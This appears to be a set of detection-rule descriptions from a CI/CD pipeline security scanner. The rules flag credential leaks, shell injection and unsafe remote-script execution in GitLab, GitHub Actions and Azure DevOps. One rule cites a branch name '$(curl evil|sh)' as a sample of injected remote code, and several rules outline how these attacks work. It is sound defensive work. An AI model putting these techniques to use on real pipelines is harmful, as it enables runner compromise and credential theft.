Rule: AzureCLI@2 task with addSpnToEnvironment: true AND an inline
script body. The inline script can launder federated SPN material
($env:idToken, $env:servicePrincipalKey, $env:tenantId) into normal
pipeline variables via ##vso[task.setvariable], leaking OIDC tokens to
downstream tasks/artifacts un-masked.
Rule: $CI_JOB_TOKEN (the GitLab platform-injected job token, broad scope
by default — registry write, package upload, project read) used as a
bearer credential against an external HTTP endpoint, or fed to
docker login for registry.gitlab.com.
Rule: a CI script triggers a different project’s pipeline via the GitLab
REST API using CI_JOB_TOKEN and forwards variables via the
variables[KEY]=value query/form parameter. Cross-project authority
bridge — the downstream project’s security depends on the trust contract
between the two projects, and variable values flowing across that
boundary may originate from MR/fork context the attacker controls.
Rule: a job emits an artifacts.reports.dotenv: <file> artifact whose
contents become pipeline variables for any consumer linked via needs:
or dependencies:. A consumer in a later stage that targets a
production-named environment inherits those variables transparently.
Producer-side risk amplifies when the script reads attacker-influenced
inputs (CI_COMMIT_REF_NAME, CI_MERGE_REQUEST_SOURCE_BRANCH_NAME,
CI_COMMIT_TAG, branch/commit derived strings).
Rule: GitLab job with a production-named environment: binding has no
rules: / only: clause restricting it to protected branches. The job
runs (or attempts to run) on every pipeline trigger; if branch
protection is later relaxed the deploy becomes runnable from
unprotected branches without any code change.
Rule: GitLab id_tokens: audience reused across MR-context and
protected-context jobs in the same file (no audience separation), or set
to a wildcard / multi-cloud broker URL, or shared with a secrets: Vault
path that the consuming job doesn’t need.
Rule: PowerShell pulls a Key Vault secret as plaintext inside an inline
script. The value never crosses the ADO variable-group boundary so
pipeline log masking does not apply — verbose Az / PowerShell logging
(Set-PSDebug -Trace, $VerbosePreference = "Continue", error stack
traces) will print the cleartext credential.
Rule: long-lived static credential in scope but the graph has no OIDC
identity. Advisory uplift on top of long_lived_credential that wires
the existing Recommendation::FederateIdentity variant — emits one Info
finding per static credential whose name suggests a cloud provider that
supports OIDC (AWS / GCP / Azure).
Rule: GHA workflow declares no top-level permissions: block AND no
per-job permissions block. With nothing declared, GITHUB_TOKEN falls
back to the broad platform default (contents: write, packages: write,
metadata read, etc.) on every trigger. Explicit declarations make the
blast radius legible to the next reviewer; absence makes it invisible.
Rule: free-form type: string parameter (no values: allowlist)
interpolated via ${{ parameters.<name> }} directly into an inline
shell/PowerShell script body. ADO does not escape parameter values in
YAML emission, so any user with “queue build” can inject shell.
Rule: a CI script body constructs an HTTPS git URL with credentials
embedded directly in the URL (https://user:$TOKEN@host/...) and
invokes git against it (git clone, git push, git remote set-url,
git fetch, git ls-remote).
Rule: ADO job referencing a production-named service connection has no
environment: binding. Strictly broader than
terraform_auto_approve_in_prod — fires on any prod-SC step (Terraform,
ARM, AzureCLI, AzurePowerShell, custom) whose enclosing job lacks the
approval gate, regardless of whether -auto-approve is set.
Rule: GHA workflow with multiple privileged jobs where SOME steps carry
the standard fork-check if: and OTHERS do not — intra-file
inconsistency in defensive posture. The org has the right instinct
(some jobs are guarded) but applied it unevenly. Surfaces the unguarded
privileged jobs by name so a reviewer can fix the gap in one PR.
Rule: a run: step pipes a remotely-fetched script into a shell, where
the URL is pinned to a mutable branch ref. The remote host’s branch tip
becomes a write-anywhere primitive on the runner.
Rule: secret laundered through $GITHUB_ENV reaches an untrusted consumer
in the same job — composition gap between self_mutating_pipeline (the
gate-write detector) and untrusted_with_authority (the direct-access
detector).
Rule: a jobs.<id>.outputs.<name> value is sourced from secrets.*, an
OIDC-bearing step output, or has a credential-shaped name (suffix
matches _token / _secret / _key / _pem / _password /
_credential[s] / _api_key).
Rule: ADO ##vso[task.setvariable] with a sensitive-named variable
that omits issecret=true (either issecret=false or no issecret
flag at all). Without the flag the variable value is printed in
plaintext to the pipeline log and is not masked in downstream step
output.
Rule: a SAS token minted in-pipeline is passed as a CLI argument or
interpolated into commandToExecute / scriptArguments / --arguments /
-ArgumentList rather than via env var or stdin.
ADO-only rule: a resources.repositories[] entry resolves against a
mutable target — no ref: field (default branch) or refs/heads/<x>
without a SHA. Whoever owns that branch can inject steps into every
consuming pipeline at the next run.
ADO-only rule: a resources.repositories[] entry pins to a feature-class
branch — anything outside the platform-blessed set
(main, master, release/*, hotfix/*).
Rule: workflow_run-triggered workflow writes an API response value to the
GHA environment gate. Branch name / PR title in the response can carry
newline-injected env-var assignments.
Rule: untrusted GitLab predefined variable interpolated unquoted into a
shell context (script: / before_script: / after_script: /
environment:url:). A branch named $(curl evil|sh) then runs as
part of the runner.
Rule: pipeline step uses an Azure VM remote-execution primitive
(Set-AzVMExtension/CustomScriptExtension, Invoke-AzVMRunCommand,
az vm run-command invoke, az vm extension set) where the executed
command line is constructed from a pipeline secret or a freshly-minted
SAS token.